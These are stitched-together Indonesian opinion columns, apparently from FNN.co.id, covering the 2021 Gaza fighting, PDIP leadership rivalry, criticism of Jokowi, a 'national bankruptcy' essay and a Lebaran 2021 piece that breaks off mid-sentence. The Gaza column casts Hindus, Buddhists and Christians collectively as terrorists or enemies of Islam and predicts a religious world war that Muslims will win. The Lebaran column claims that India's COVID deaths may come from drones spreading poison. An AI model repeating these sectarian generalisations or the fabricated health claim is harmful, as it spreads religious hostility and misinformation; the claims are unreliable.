Hamas, dengan mengirimkan roket ke wilayah Israel. Sedikitnya 3800 roket Ayyash ditembakkan oleh Brigade al-Qassam Hamas, dari Gaza ke wilayah Israel. Sebagian berhasil ditangkal sistem pertahanan udara Israel. Itu balasan yang harus dibayar mahal oleh negara penjajah itu. Ayyas adalah roket yang diambil dari nama Yahya Ayyash, salah satu operator terkemuka Hamas yang tewas tahun 1986. Roket tersebut diluncurkan ke Bandara Ramon, Israel, yang berjarak sekitat 250 Km dari Gaza. Dalam.aksi balas-membalas ini, 248 warga Palestina gugur, termasuk 66 anak-anak dan 39 wanita. Sebanyak 1.910 orang cedera. Di pihak zionis, roket-roket dari Gaza yang sebagian besar menargetkan wilayah Israel selatan, telah menewaskan 12 orang Yahudi, termasuk seorang anak dan seorang tentara. Lebih dari 560 orang luka-luka. Target roket.pejuang Hamas tidak semata menimbulkan korban tewas dan luka. Akan tetapi, target utama mereka adalah menimbulkan ketakutan penduduk Israel, termasuk tentaranya. Tujuan lainnya adalah tentara Israel yang dilengkapi persenjataan super modern, bukanlah militer yang harus ditakutkan. Walaupun korban di pihak Yahudi relatif lebih sedikit, tetapi setidaknya roket Hamas telah mampu membobol pertahanan negara penjajah itu. Padahal, sistem pertahanan udara Israel yang dilindungi Iron Dome, merupakan salah satu tercanggih di dunia, selain yang dimiliki Amerika, Rusia, Cina dan Prancis. Sedikitnya 15 lokasi di wilayah Israel menjadi sasaran roket Hamas, termasuk Tel Aviv. Tembakan roket itulah yang membuat pemimpin Israel murka. Mereka kemudian membalasnya dengan melakukan serangan udara membabi-buta. Selain itu, Israel mengerahkan 9000 tentara angkatan darat, termasuk tentara cadangan ke Jalur Gaza. Berbagai upaya meredakan ketegangan kedua belah pihak sudah dilakukan para pemimpin dunia, termasuk Persatuan Bangsa Bangsa (PBB). Sejumlah pemimpin dunia, terutama Uni Eropa menyerukan agar Palestina dan Israel sama-sama menahan diri, dan juga meminta dilakukan genjatan senjata. Sedangkan DK PBB merancang dikeluarkan seruan bersama, tetapi gagal karena ditentang Amerika Serikat, sekutu utama Israel. Akhirnya, setelah 11 hari peperangan, Hamas dan Israel sepakat melakukan gencatan senjata sejak Jumat, 21 Mei 2021. Gencatan senjata atas permintaan Israel yang berlindung di bawah permintaan dunia lewat PBB, terutama Amerika Serikat. Perang Agama Saling serang antara Israel dan Palestina bukan peristiwa pertama terjadi di bulan Ramadhan. Akan tetapi, peristiwa yang terjadi sekarang semakin memperlihatkan kekejaman Israel, karena menyerang jemaah yang sedang solat di Masjid al-Aqsha, masjid suci ketiga umat Islam paling bersejarah setelah Masjidil Haram di Mekkah dan Masjid Nabawi, Madinah. Kekejaman tentara Israel di arena masjid al-Aqsha telah menyulut emosi umat Islam di berbagai belahan dunia. Tidak hanya umat Islam, non muslim di negara lain, seperti di Jepang, Eropa dan Amerika Serikat pun turut memberikan dukungan kepada rakyat Palestina, lewat demo anti Israel/anti perang. Dukungan dan doa terhadap pejuang Palestina dikumandangkan di belahan dunia oleh ummat Islam, termasuk doa qunud nazilah. Tangisan anak-anak yang ditarik tentara Israel - dan kemudian dibawa menjadi tahanan - telah menyebabkan berurainya air mata kaum muslimin, terutama kaum ibu. Tidak ada yang bisa menghalangi tentara zionis membawa anak-anak itu, meski mereka.mencoba memberontak dan menangis sambil memanggil ibunya atau keluarganya. Sang ibu yang mencoba menghalangi, digertak, dipegang tentara zionis lainnya, dan bahkan ditendang serta diseret. Demikian juga kaum lelaki yang mencoba menolong anak-anak, selain ditendang dan diseret, juga ditodongkan senjata laras panjang. Kebiadaban tentara zionis hampir sama dengan yang dilakukan oleh kelompok-kelompok pembenci agama Islam di berbagai negara dunia lainnya, seperti di RR China, Myanmar, India, Filipina (dengan memerangi umat Islam di Moro). Muslim Uighur, di Xinxiang, Republik Rakyat China, ditangkap dan dibunuh oleh pasukan negara komunis tersebut. Jadi, jika terjadi Perang Dunia Ketiga, itu bukan perang salib, tetapi perang antara umat Islam melawan non-muslim dan komunis. Insya Allah dan atas rido-Nya, kami (Islam) menang! Apa yang dilakukan aparat keamanan Cina telah menyebabkan 10.000 lebih kaum muslim Uighur hilang, termasuk anak-anak. Banyak yang mengungsi. Apa yang dilakukan pemerintah komunis China sangat biadab dan merupakan genoside. Banyak masjid yang dihancurkan, mushab Al-Quran dibakar. Muslim yang ditangkap dimasukkan ke kamp konsentrasi, yang menurut istilah pemerintah China dimasukkan ke tempat."pelatihan kerja." Sejak tahun 2014, sedikitnya 304 ulama dijebloskan ke penjara dan bukan ke jaringan kamp "pendidikan kembali." Mereka adalah bagian dari 630 imam Muslim dan pemimpin agama lain yang dipenjara tanpa alasan yang jelas. Mereka ditangkap hanya karena mengajarkan agama, menentang komunis yang tidak mengakui adanya Tuhan. Itu di Cina, negara komunis yang mencoba menghabisi umat Islam. Perlakuan biadab terhadap umat Islam juga terjadi di Myanmar. Militer negara tersebut juga turut membunuh kaum muslim. Sebelum dibunuh, mereka disiksa, wanita diperkosa oleh kelompok Budha teroris yang didukung okeh tentara dan polisi setempat. Rumah kaum muslim dibakar. Masjid-masjid dan madrasyah dihancurkan. Perlakuan yang sangat biadab yang dilakukan oleh pemeluk Budha terhadap kaum muslim. Di India, orang Hindu teroris juga membantai umat Islam. Mereka membunuh, memperkosa, menyiksa orang Islam. Pemerintah setempat seakan diam membisu atas perlakuan penganut Hindu yang dibekingi aparat keamanannya yang juga beragama Hindu membantai umat Islam, menghancurkan rumah penduduk, madrasyah dan masjid. Di Filipina, perlakuan ya hampir sama juga dirasakan kaum Muslim Moro. Meski mereka sudah mendapatkan otonomi wilayah, akan tetapi berbagai usaha memerangi kaum Muslim masih terjadi. Amerika Serikat dan sekutunya menyerang negara Islam, seperti Irak, Libya, Afghanistan atas nama memerangi senjata pembunuh massal (Irak), dan memerangi teroris (Libya dan Afghanistan). Perang tersebut hanya kepalsuan belaka. Negara tersebut hancur. Sebenarnya yang terjadi adalah Amerika dan sekutunya tidak mau Islam bangkit di negara tersebut. Mereka tidak mau negara tersebut menjadi kuat, sehingga harus dihancurkan. Selain itu, negara penjajah yang dipimpin oleh Kristen ingin menguasai sumber energinya. Ya, sebenarnya yang terjadi adalah Kristen memerangi Islam. Di Indonesia, kejahatan terhadap umat Islam juga dilakukan oleh non-muslim. Di Bali yang mayoritas penganut Hindu sempat terjadi pelarangan siswi memakai jilbab ke sekolah. Ustaz Abdul Somad mereka tolak berceramah, atas nama intoleran. Demikian juga di Nusa Tenggara Timur yang mayoritas Kristen. Sedangkan di Sulawesi Selatan, masyarakat yang dimotori pemuda Kristen radikal, menolak kehadiran Fahri Hamzah (sewaktu masih Wakil Ketua DPR). Di Kalimantan Barat, segelintir masyarakat Dayak yang didukung Teras Narang (Gubernur) menolak kehadiran sejumlah petinggi FPI (Front Pembela Islam) yang ingin berdakwah di Palangkaraya. Hal yang lebih menyakitkan lagi adalah ketika sebuah masjid di Papua dibakar oleh kaum Kristen yang diduga diprovokasi pendetanya. Ya menyedihkan dan menyakitkan adalah atas nama toleransi, pendeta malah dibawa ke Istana Presiden dan bertemu Joko Widodo. ** Penulis, Pemimpin Redaksi FNN.co.id.

Ganjar Pranowo Siap Perang Terbuka Melawan Puan dan Bu Mega

By Asyari Usman Medan, FNN - Ganjar Pranowo dilecehkan oleh Puan Maharani. Gubernur Jawa Tengah itu tidak diundang untuk acara penting partai yang diselenggarakan di depan mata Ganjar. Di Semarang, 22 Mei 2021. Acara itu sangat penting. Yaitu, pengarahan soliditas kader partai. Dihadiri oleh seluruh kepala daerah asal PDIP se-Jawa Tengah. Sangat tak masuk akal kalau Ganjar tidak diperlukan hadir. Ganjar malah pergi menemui Ketum PDIP Megawati Soekarnoputri di Jakarta pada hari Puan mengarahkan elit partai di Semarang. Hanya untuk menyerahkan lukisan kepada Bu Mega. Sama sekali tak penting. Dari sini terlihat bahwa Bu Ketum setuju dan ikut mengatur skenario Puan menampar Ganjar. Dan dari sini pula terlihat “awal proses penyingkiran Ganjar” itu sengaja dipertontonkan di depan Ganjar. Kabarnya, Ganjar akan melancarkan serangan balasan yang dahsyat. Mengapa ini dilakukan oleh Megawati? Ketua DPD PDIP Jawa Tengah Bambang Wuryanto mengatakan Ganjar sudah kelewatan. Terlalu maju. Sok pintar. Apa yang dimaksud “sok pintar” itu? Bambang mengatakan semua ini terkait pencapresan 2024. Dalam berbagai survai, Ganjar memang dipandang prospektif untuk ikut pilpres. Dia sangat agresif. Dia tunjukkan ambisi pilpres 2024 secara terang-terangan. Tentunya melalui medsos, termasuk menjadi host di YouTube. Sebaliknya, elektabilitas Puan tak kelihatan. Padahal, Bu Mega menginginkan dia maju bersama Prabowo Subianto dengan posisi capres atau cawapres. Popularitas Ganjar dirasakan mengancam Puan. Karena pilpers 2024 semakin dekat, Bu Mega merasa Ganjar harus distop. Pertanyaannya, bisakah gerak maju Ganjar dihentikan? Kelihatannya tak mungkin. Ganjar tidak akan mundur. Ini soal momentum. Popularitas yang dia genggam saat ini tidak akan terulang lagi kapan pun. Pilpres 2024 adalah kesempatan terbaik bagi Ganjar. Terutama, posisi sebagai gubernur Jawa Tengah sangat membantu. Karena itu, Ganjar akan bertarung ‘all out’ melawan hambatan. Termasuk melawan Bu Mega. Bisakah Bu Mega dilawan? Bisa. Tapi, risikonya Ganjar akan dipecat. Diusir dari PDIP. Bu Mega terlalu kuat untuk digulingkan oleh Ganjar meskipun dia punya faksi di PDIP. Lalu, jalan apa yang masih bisa ditempuh Ganjar untuk tetap maju di pilpres 2024? Dia bisa mendekati parpol-parpol lain. Dan ada yang mengatakan Ganjar sudah sering bertemu dengan Surya Paloh (SP), ketum Partai Nasdem. Persoalannya, Nasdem lebih yakin mendukung Anies Baswedan ketimbang Ganjar. Tetapi, isu ini masih sangat cair. Bisa saja SP mendukung Ganjar kalau deal-nya cocok. Apalagi kalau Ganjar bisa “merangkul” para cukong yang siap gelontorkan puluhan triliun. Untuk Bu Mega, ada satu hal yang perlu dicatat. Ganjar Pranowo dikatakan mendapat restu dan dukungan dari “orang yang sangat kuat” (OYSK). Dan orang itu sejak lama berseberangan dengan Bu Ketum. Bu Mega harus berhati-hati. Perlu pertimbangan matang apakah memaksakan Puan di pilpres 2024 tidak akan mempermalukan Bu Ketum. Sangat mungkin para senior PDIP berbondong-bondong mendukung gubernur Jawa Tengah itu. Dan tinggallah Bu Mega sendirian bersama Puan. Publik paham Bu Mega pun tidak punya waktu lagi. Puan harus maju di pilpres 2024. Inilah momennya. Seperti Ganjar juga. Now or never. Usia Bu Mega semakin bertambah. Puan tidak kuat di PDIP. Dia sangat rapuh. Puan seratus persen mengandalkan Bu Mega. Jadi, sangat bisa dipahami kalau Bu Mega harus melenyapkan ancaman Ganjar secepat mungkin. Ganjar itu naik daun berkat PDIP. Tanpa lambang Banteng, dia tidak ada apa-apanya. Hanya saja, Ganjar itu terbukti disukai rakyat Jawa Tengah. Puan di awang-awang. Serba salah. Tetap ada Ganjar di PDIP, Puan yang tersingkir. Kalau Ganjar yang ditendang, dia didukung oleh OYSK tadi itu. Dan OYSK itu bisa mengatur dukungan politik besar untuk Ganjar. Dia bisa dengan mudah maju di pilpres 2024. Tampaknya, Ganjar siap perang terbuka melawan Puan dan Bu Mega. Bisa sangat seru. Ini sama-sama soal harga diri dan momentum pilpres. (Penulis wartawan senior FNN.co.id)

Mencermati Sandiwara Ganjar, Puan, Megawati

By Asyari Usman Medan, FNN - Seriuskah perseteruan Ganjar Pranowo vs Puan Maharani untuk urusan pencapresan 2024? Sungguh-sungguhkah mereka berkelahi? Sebelum ini, saya tulis bahwa Puan dan Ketum PDIP Megawati Soekarnoputri ‘genuine’ merasakan Ganjar sebagai ancaman di pilpres 2024. Sejak duduk di kursi gubernur Jawa Tengah, Ganjar menunjukkan bahasa tubuh bahwa dia punya peluang untuk maju sebagai capres. Ganjar aktif dan agresif melakukan pendekatan ke bawah. Dia menjadi populer di kalangan rakyat Jawa Tengah. Elekatibilitasnya lumayan tinggi meskipun berada di bawah Anies Baswedan. Yang jelas, elektabilitas Ganjar lebih tinggi dari Puan. Ini asli, bukan sandiwara. Tetapi, banyak orang yang meyakini perseteruan Ganjar-Puan hanya pura-pura saja. Cuma muslihat yang bertujuan untuk memperkuat posisi Ganjar. Dia dibuat seolah-olah ditindas oleh Megawati dan Puan. Ganjar sengaja digencet supaya terlihat menjadi korban. Setelah itu dia ‘playing victim’. Publik akan beramai-ramai menjadikan Ganjar sebagai pahlawan. Elektabilitasnya semakin tinggi sehingga parpol-parpol pun akan berebut mendukung. Ujung-ujungnya, Ganjar akan dicapreskan sebagai orang yang melawan Megawati dan PDIP. Ganjar kemudian maju dan menang pilpres 2024. Setelah masuk ke Istana, orang-orang PDIP akan menawarkan posisi ketua umum kepada Ganjar. Megawati pun bersedia lengser. Ganjar terpilih. PDIP kembali menjadi partai yang berkuasa. Lebih kurang begitulah sandiwara yang sedang dilakonkan Ganjar, Puan, dan Megawati. Nah, di mana logika sandiwara besar ini? Pertama, Megawati tahu persis dan paham bahwa Puan tak mungkin menjadi capres. Apalagi menjadi presiden. Bu Mega sadar bahwa ke depan, PDIP akan lepas dari dinasti Soekarno. Puan tak punya ‘credential’ (mandat) yang kuat untuk menguasai PDIP sebagaimana Mega bisa mendikte partai ini. Para elit Banteng mengakui Mega adalah pimpinan PDIP yang telah berjuang berdarah-darah menghadapi penindasan penguasa. Ini membuat para kader Banteng tak berani menggugat posisi ketum seumur hidup untuk Mega. Mega menegakkan PDIP mirip dengan Soekarno memperjuangkan kemerdekaan Indonesia. Tidak begitu halnya dengan Puan. Kalau pun nanti puncuk pimpinan partai pindah ke tangan Puan, dia tidak akan dianggap sebagai mandatoris seperti ketika Megawati menduduki kursi ketua umum PDIP. Banyak yang lebih besar jasanya untuk PDIP ketimbang Puan. Megawati bisa melihat bahwa PDIP setelah dia turun tidak akan sama dengan PDIP yang bisa dikendalikannya secara otoriter dengan gaya feodal. Feodalisme bisa bertahan di tangan Megawati tetapi tidak akan bisa berlanjut di tangan Puan. Kedua, Megawati dan elit PDIP lainnya menyadari bahwa Banteng bisa tenggelam dalam pemilihan umum mendatang. Ini disebabkan banyaknya masalah yang membelit partai. Misalnya, PDIP menjadi partai yang paling banyak kadernya terkena OTT KPK. Banyak orang menyebut PDIP sebagai “juara korupsi”. Bu Mega paham tantangan berat PDIP di masa depan tak mungkin diatasi oleh Puan. Karena itu, sangatlah konyol kalau kader “cerdas” seperti Ganjar Pranowo akan dibuang begitu saja dengan alasan mengancam karir politik Puan. Itu tidak mungkin, kata orang-orang yang yakin sandiwara Ganjar-Puan-Mega hari ini. Mega dan PDIP memerlukan orang seperti Ganjar untuk menyelamatkan partai itu. Memang Ganjar sendiri punya masalah. Dia disebut-sebut dalam rangkaian penyelidikan kasus korupsi e-KTP (Juli 2017). Tapi, Ganjar paling tidak telah berhasil memperkuat PDIP di Jawa Tengah, khususnya. Jadi, memang wajar kalau Anda semua mencurigai sandiwara Ganjar-Puan-Megawati menuju pilpres 2024.[] (Penulis wartawan senior FNN.co.id)

Setelah 23 Tahun, Jokowi Matikan Reformasi

Reformasi yang dikumandangkan 23 tahun yang lalu kini sudah dikubur pemerintah Jokowi. Lembaga-lembaga yang lahir dari rahim reformasi, seperti Mahkamah Konstitusi, Komisi Yudisial sudah diamputasi. Komisi Pemberantasan Korupsi (KPK) sekarang sudah hampir mati. Ya, sejak pemerintahan Joko Widodo periode pertama, semua dikikis perlahan, tapi pasti. Hampir tujuh tahun berkuasa, Jokowi dan kroninya menumbuh-suburkan KKN, membunuh demokrasi, mempermainkan hukum. "Hukum tajam ke oposisi dan pengeritik, tetapi tumpul ke pendukung Jokowi." Oleh Mangarahon Dongoran Jakarta, (FNN) - KAMIS, 21 Mei 1998 sekitar pukul 9.00, Soeharto menyatakan mundur sebagai Presiden Republik Indonesia. Pengumuman tersebut pun disambut dengan gegap gempita oleh mahasiswa yang sudah berhari-hari menduduki gedung Dewan Perwakilan Rakyat/Majelis Permusyawaratan Rakyat (DPR/MPR, Senayan, Jakarta Pusat. Luapan kegembiraan diekspresikan dengan berbagai macam. Ada yang menceburkan diri ke kolam air mancur si halaman gedung tersebut. Ada yang mencukur rambut sampai botak. Ada yang mengibar-kibarkan spanduk dan ada yang bertepuk tangan sambil bersorak ria. Itulah kejadian 23 tahun yang lalu. Ketika masyarakat dan mahasiswa turun ke jalan, menuntut Soeharto lengser dari jabatan yang sudah dipegangnya selama 32 tahun. Masyarakat menuntut Soeharto berhenti sebagai presiden karena kepemimpinannya dinilai syarat dengan KKN (Korupsi, Kolusi dan Nepotisme). KKN adalah isu sentral waktu itu. Selain itu juga ada tuntutan menghapus Dwifungsi ABRI (Angkatan Bersenjata Republik Indonesia), serta pembubaran Golongan Karya (Golkar). Dwifungsi ABRI berhasil dihapus tidak lama setelah Soeharto lengser. ABRI berganti nama menjadi TNI (Tentara Nasional Indonesia). Kepolisian Republik Indonesia (Polri) pun dipisah dari TNI. Sedangkan tuntutan agar Golkar dibubarkan tidak berhasil. Partai penyokong utama Orde Baru (Orba) itu tetap kokoh, dengan tambahan nama menjadi Partai Golkar. Perubahan nama dan kokohnya Golkar berkat kegigihan perjuangan Akbar Tanjung. Walaupun banyak pentolan partai berlambang pohon beringin itu mendirikan partai, namun Partai Golkar tetap kokoh, dan selalu menjadi urutan tiga besar pemenang dalam Pemilihan Umum (Pemilu). Turunnya Soeharto adalah rangkaian penolakan sejak ia dipilih kembali menjadi presiden dalam Pemilu 1997. Kemudian, ia menaikkan harga Bahan Bakar Minyak (BBM), yang menjadi pemicu gelombang demonstrasi yang dilakukan masyarakat di beberapa kota, seperti Medan, Makassar, Bandung dan Yogyakarta. Tidak ketinggalan demonstrasi di Jakarta, dengan titik konsentrasi di sekitar kampus Universitas Trisakti, Grogol, Jakarta Barat. Puncaknya, ketika terjadi penembakan terhadap mahasiswa yang berdemo di depan kampus tersebut pada tanggal 12 Mei 1998. Penembakan dengan peluru tajam yang dilakukan aparat keamanan menewaskan empat mahasiswa Universitas Trisakti, dan puluhan lainnya luka. Mereka yang tewas adalah Elang Mulia Lesmana (1978-1998), Heri Hertanto (1977 - 1998), Hafidin Royan (1976 - 1998), dan Hendriawan Sie (1975 - 1998). Mereka tewas tertembak di dalam kampus, terkena peluru tajam di tempat-tempat vital seperti kepala, tenggorokan, dan dada. Peristiwa penembakan itu tidak membuat aksi demo surut Bahkan, tidak lama setelah itu, aksi kerusuhan yang diikuti dengan penjarahan dan pembakaran rumah toko (ruko) milik orang-orang China. Sejumlah pusat perbelanjaan modern, baik mal maupun minimarket juga tidak luput dari aksi yang sama. Puncaknya, gabungan mahasiswa dari berbagai kampus di Jakarta dan sekitarnya, termasuk dari Bandung menduduki gedung DPR/MPR. Walau sempat dihalau aparat keamanan, tetapi mereka bergeming dan menginap di "rumah rakyat" itu. Mahasiswa yang didukung masyarakat dan juga sejumlah purnawirawan jenderal TNI menginap di gedung tersebut. Harapannya, Soeharto turun tanggal 20 Mei 1998, berkaitan dengan Hari Kebangkitan Nasional. Namun, Soeharto membaca hal itu, dan dia ulur waktu walau hanya semalam. Perubahan! Itulah yang diharapkan masyarakat setelah Soeharto lengser. Perubahan dari rezim otoriter menjadi demokratis. Dari represif menjadi humanis. Dari pemerintahan yang kotor dengan KKN menjadi bersih. Masih banyak lagi harapan lain. Kini, setelah 23 tahun reformasi, hampir semua yang diharapkan masyarakat itu hanya menjadi mimpi belaka. KKN yang diharapkan hilang, malah semakin gemilang. Cita-cita demokrasi, sudah kandas. Sejumlah aktivis yang kritis terhadap pemerintah pun ditangkapi. Demo masyarakat dibubarkan dengan gas air mata, dan bahkan kekerasan yang berujung pada tewasnya beberapa orang dan ratusan luka (peristiwa demo Mei 2019 di Bawaslu, Jakarta). Reformasi Dikubur Reformasi yang dikumandangkan 23 tahun yang lalu kini sudah dikubur pemerintah. Lembaga-lembaga yang lahir dari rahim reformasi, seperti Mahkamah Konstitusi, Komisi Yudisial sudah diamputasi. Komisi Pemberantasan Korupsi (KPK) sekarang sudah hampir mati. Ya, sejak pemerintahan Joko Widodo periode pertama, semua dikikis perlahan, tapi pasti. Hampir tujuh tahun berkuasa, Jokowi dan kroninya menumbuh-suburkan KKN, membunuh demokrasi, mempermainkan hukum. "Hukum tajam ke oposisi dan pengeritik, tetapi tumpul ke pendukung Jokowi." Bukti KKN semakin marak sudah terlihat di depan mata. Jika di era Soeharto korupsi berada di lingkaran Bina Graha (Kantor Presiden Soeharto) dan Cendana (kediaman pribadinya), sekarang korupsi sudah menyebar secara merata. Jika dilihat, yang paling banyak melakukan korupsi berasal dari partai pendukung utama pemerintah Jokowi, yaitu PDI Perjuangan. Oleh karena itu, tidak mengherankan jika ada upaya terstruktur, sistematis dan masif untuk membubarkan KPK. Kolusi juga semakin merajalela. Lihat saja, kasus korupsi yang melibatkan Menteri Kelautan dan Perikanan, Edy Prabowo dan Menteri Sosial, Juliari Batubara, yang ditandai kolusi dengan pengusaha. Kolusi antara pejabat pemerintah dan pengusaha, kini hampir terjadi di semua tingkatan. Itu baru yang kelihatan nyata. Biasanya, pejabat yang berkolusi beralasan menjalin kerjasama. Tidak heran, karena kolusi, korupsi semakin tumbuh subur. Markobar, yang merupakan usaha martabak milik putra Jokowi, Gibran Rakabuming diplesetkan menjadi Mari Korupsi Barang (Sama-sama). Nepotisme, jelas di depan.mata, terutama dilakukan Jokowi terhadap anaknya, Gibran yang menjadi Wali Kota Solo, dan menantunya Boby Nasution yang menjadi Wali Kota Medan. Seandainya Jokowi bukan presiden - cuma Gubernur DKI Jakarta - belum tentu anak dan menantunya itu menjadi wali kota. Nepotisme dilakukan seluruh partai, termasuk partai yang lahir di era reformasi. Nah, ini baru enam tahun jadi presiden, ia sudah bisa menempatkan anak dan menantunya di singgasana kekuasaan. Berbeda dengan Soeharto yang berkuasa 32 tahun, tetapi tidak pernah menempatkan putra dan putrinya maupun menantunya menjadi gubernur, bupati dan wali kota. Padahal, di masa Soeharto semua gubernur, bupati dan wali kota yang dipilih melalui DPRD, harus mendapat persetujuan dari Jenderal Besar TNI itu. Hanya di penghujung jabatannyalah, putri sulungnya Siti Herdiyanti Indrarukmana atau Tutut diangkat menjadi Menteri Sosial. Jabatan itu pun hanya diemban sekitar tiga bulan, karena sang ayah berhenti sebagai presiden. Betul, di masa Orba, menterinya sering diisi dengan kroni Soeharto. Akan tetapi, hal yang sama juga terjadi di era Jokowi. Sebut saja Puan Maharani yang diangkat menjadi Menteri Koordinator Pembangunan Manusia dan Kebudayaan, pada periode pertama Jokowi-Jusuf Kalla. ** Penulis, Pemimpin Redaksi FNN.co.id.

Hari Kebangkrutan Nasional

By Prof. Daniel Mohammad Rosyid PhD, M.RINA Surabaya, FNN - Di samping hutang pemerintah dan swasta yang menggunung mencapai lebih dari Rp 10.000 Triliun pengangguran pemuda yang meningkat, indeks persepsi korupsi memburuk, indeks demokrasi menciut, sulit untuk menolak kecemasan bahwa bangsa ini sedang menuju ke kebangkrutan di hampir semua bidang. Kebangkitan Nasional justru menggaung sebagai Kebangkrutan Nasional. Para investor asing mulai meragukan masa depan investasinya di sini karena resiko politik yang tinggi dan mulai mengalihkannya negara lain. Sebagai Republik, negara ini justru mengalami degradasi mengarah ke semacam imperium Romawi di bawah Kaisar Nero. Malpraktek administrasi publik menggerogoti Republik hingga ke akar-akarnya. Konstitusi diubah secara ugal-ugalan sejak Reformasi dan selama 5 tahun terakhir, hukum dibuat dan ditafsirkan bukan untuk kepentingan publik, tapi untuk kepentingan elite politik dan kartel korporasi. Pemujaan pada investasi asing telah mewujud nyaris menjadi invasi asing dan perampasan lahan dan ruang kehidupan bagi warga negara di banyak tempat di seluruh pelosok negeri. Bersamaan dengan itu kedaulatan hilang menguap entah kemana. Tentara beserta Sapta Marganya sebagai bhayangkara negara lumpuh tak berdaya. Sementara itu polisi semakin jumawa menghadapi rakyat jelata miskin papa. Sudah 70 tahun kemerdekaan Republik ini disandera oleh IMF untuk tunduk pada sistem keuangan ribawi, dan kini Republik harus tunduk dengan aturan WHO dalam menghadapi pandemisasi Covid-19 ini. Jika IMF menjarah kekayaan bangsa ini melalui riba dalam sistem keuangan Republik, kini WHO merampas kemerdekaan sipil atas nama kesehatan. Kerugian sosial-ekonomi-politik Republik ini melampaui semua imajinasi perencana pembangunan. Pada saat ketimpangan pendapatan melebar, kesenjangan spasial memburuk, kita kini juga menyaksikan ancaman atas persatuan bangsa ini dengan munculnya diskriminasi gaya baru. Rezim beserta para pendukung fanatiknya mudah sekali mencap kelompok lain yg berbeda pendapat sebagai anti-Pancasila, anti-NKRI, radikal, bahkan teroris. Kriminalisasi bahkan dilakukan atas para cendekiawan dan ulama kritis yang dengan berbagai rekayasa ditangkap dan dipenjarakan atas delik yang absurd dan mengada-ada. Seratus tahun lebih silam Kebangkitan Nasional menjadi inspirasi bagi kebangkitan pemuda 1928 dan kemudian melahirkan proklamasi kemerdekaan 1945. Saat gelora membebaskan Palestina dari cengkraman Israel menyeruak di sepenjuru negeri, patut direnungkan bahwa belenggu nekolimik masih menjerat leher bangsa ini. Nasib bangsa ini bisa jadi lebih buruk dari bangsa Palestina yang masih bersatu melawan agresi Zionis, sementara kita malah berpecah belah melawan musuh nekolimik yang sama. Saya sungguh cemas apakah Republik ini masih akan ada dalam waktu dekat ini, atau dianeksasi oleh kekuatan asing yg leluhurnya dulu pernah dipusingkan oleh Raden Wijaya dan Diponegoro. Penulis adalah Direktur Rosyid College of Arts, Gunung Anyar, Surabaya.

Polemik Lebaran 2021: Larangan Mudik, Bipang Ambawang, dan "Serbuan" TKA China

By Mochamad Toha Surabaya, FNN - Setidaknya ada dua peristiwa yang menarik perhatian rakyat sebelum Presiden Joko Widodo promosi kuliner khas daerah di Indonesia. Salah satu yang disebut Presiden dalam promosi itu adalah dari Kalimantan Barat: Bipang Ambawang! “Untuk Bapak/Ibu dan Saudara-saudara yang rindu kuliner khas daerah atau yang biasannya mudik membawa oleh-oleh, tidak perlu ragu untuk memesannya secara online,” ujar Jokowi dalam potongan video akun YouTube Kementerian Perdagangan pada 5 Mei 2021. Selanjutnya, “Yang rindu makan gudeg Jogja, bandeng Semarang, siomay Bandung, empek-empek Palembang, Bipang Ambawang dari Kalimantan, dan lain-lainnya, tinggal pesan. Dan makanan kesukaan akan diantar sampai ke rumah,” ungkap Jokowi. Video bertajuk “05.05 Hari Bangga Buatan Indonesia” itu berisi acara peringatan bangga dengan produk lokal. Dalam pidato ini, Jokowi awalnya mengingatkan saat ini pemerintah melarang mudik Lebaran. Larangan itu dibuat demi keselamatan warga di tengah pandemi Covid-19. “Bapak/Ibu dan Saudara-saudara sekalian, sebentar lagi Lebaran. Namun, karena masih dalam suasana pandemi, pemerintah melarang mudik untuk keselamatan kita bersama,” kata Jokowi. Jagad sosmed dan media mainstream pun ramai bicara soal pernyataan Presiden Jokowi itu. Juru Bicara (Jubir) Presiden Jokowi, Fadjroel Rachman, kemudian sempat menjelaskan soal bipang yang dimaksud Jokowi. Dilihat dari akun Instagram resminya, @fadjroelrachman, Sabtu (8/4/2021), terlihat ada foto bipang yang diunggah Fadjroel. Foto tersebut menampilkan Bipang Jangkar Kwee Ik Sam Pasuruan. “Ini BIPANG atau JIPANG dari beras. Makanan kesukaan saya sejak kecil hingga sekarang. BIPANG atau JIPANG dari beras inilah yang dimaksud Presiden @jokowi. Terimakasih,” tulis Fadjroel seperti dilihat Detikcom pukul 12.23 WIB. Pembelaan Jubir yang akrab dipanggil Panjul ini jelas diketawain netizen yang “melek” mata, telinga, dan huruf. Dalam rekaman video maupun berita berbagai media sudah jelas disebut: Bipang Ambawang, Bukan Bipang Pasuruan! Melansir Detik.com, Fadjroel kemudian mengubah narasi dalam akun Instagram-nya. Dilihat pukul 12.51 WIB, dia hanya menyebut bipang masih hit sampai sekarang. Sebelumnya, video Jokowi soal bipang Ambawang diunggah oleh akun Twitter @BossTemlen. Video itu telah di-retweet ribuan kali. Narasi pada caption video tersebut mempertanyakan mengapa Jokowi mempromosikan bipang Ambawang saat Lebaran. Bipang yang dimaksud dalam narasi ini adalah babi panggang Ambawang. Bipang Ambawang adalah salah satu tempat makan yang menyajikan menu babi panggang di Kalbar. Akun Instagram Bipang Ambawang juga mengunggah video Jokowi yang menyebut Bipang Ambawang sembari berterima kasih karena merasa dipromosikan oleh Presiden. Promosi Bipang Ambawang telah membetot perhatian dan fokus rakyat dari persoalan Mudik Lebaran yang dilarang Presiden Jokowi dan kedatangan TKA China secara massif. Pertama, larangan mudik Presiden Jokowi kepada rakyat yang ingin merayakan Idul Fitri di kampung halamannya dengan dalih mencegah penyebaran Virus Covid-19. Pelarangan mudik Lebaran itu dimulai pada Kamis-Senin, 6-17 Mei 2021. Pelarangan ini, jelas menunjukkan ketidakadilan pemerintah bagi umat Islam. Libur panjang Hari Raya Paskah bulan lalu tak ada larangan, begitu pula mudik untuk Hari Raya Galungam dan Kuningan, semua berjalan lancar tanpa larangan. Rakyat disuguhi narasi lonjakan kasus Covid-19 di India yang sudah mencapai 400 ribu lebih setiap harinya dengan tingkat kematian yang cukup tinggi. Padahal, kita tidak tahu apa yang sebenarnya terjadi di sana. Benarkah karena Covid-19? Atau, jangan-jangan karena ada serangan drone yang sengaja menyebar racun arsenik atau sianida, sehingga banyak rakyat (jelata) India yang jadi korban. Apalagi, di sana mayatnya langsung dikremasi tanpa ada otopsi sebelumnya. Sehingga jelas penyebab kematian massal warga India yang sebenarnya. Bukan karena di-Covid-kan langsung. Seharusnya India berani mengambil sampel korban “Covid-19” untuk diotopsi sehingga diketahui penyebab kematiannya. Kedua, sementara rakyat dilarang mudik, pemerintah mengizinkan TKA asal China “mudik” ke Indonesia. “Seumur-umur saya baru melihat pola penerbangan seperti ini, ada 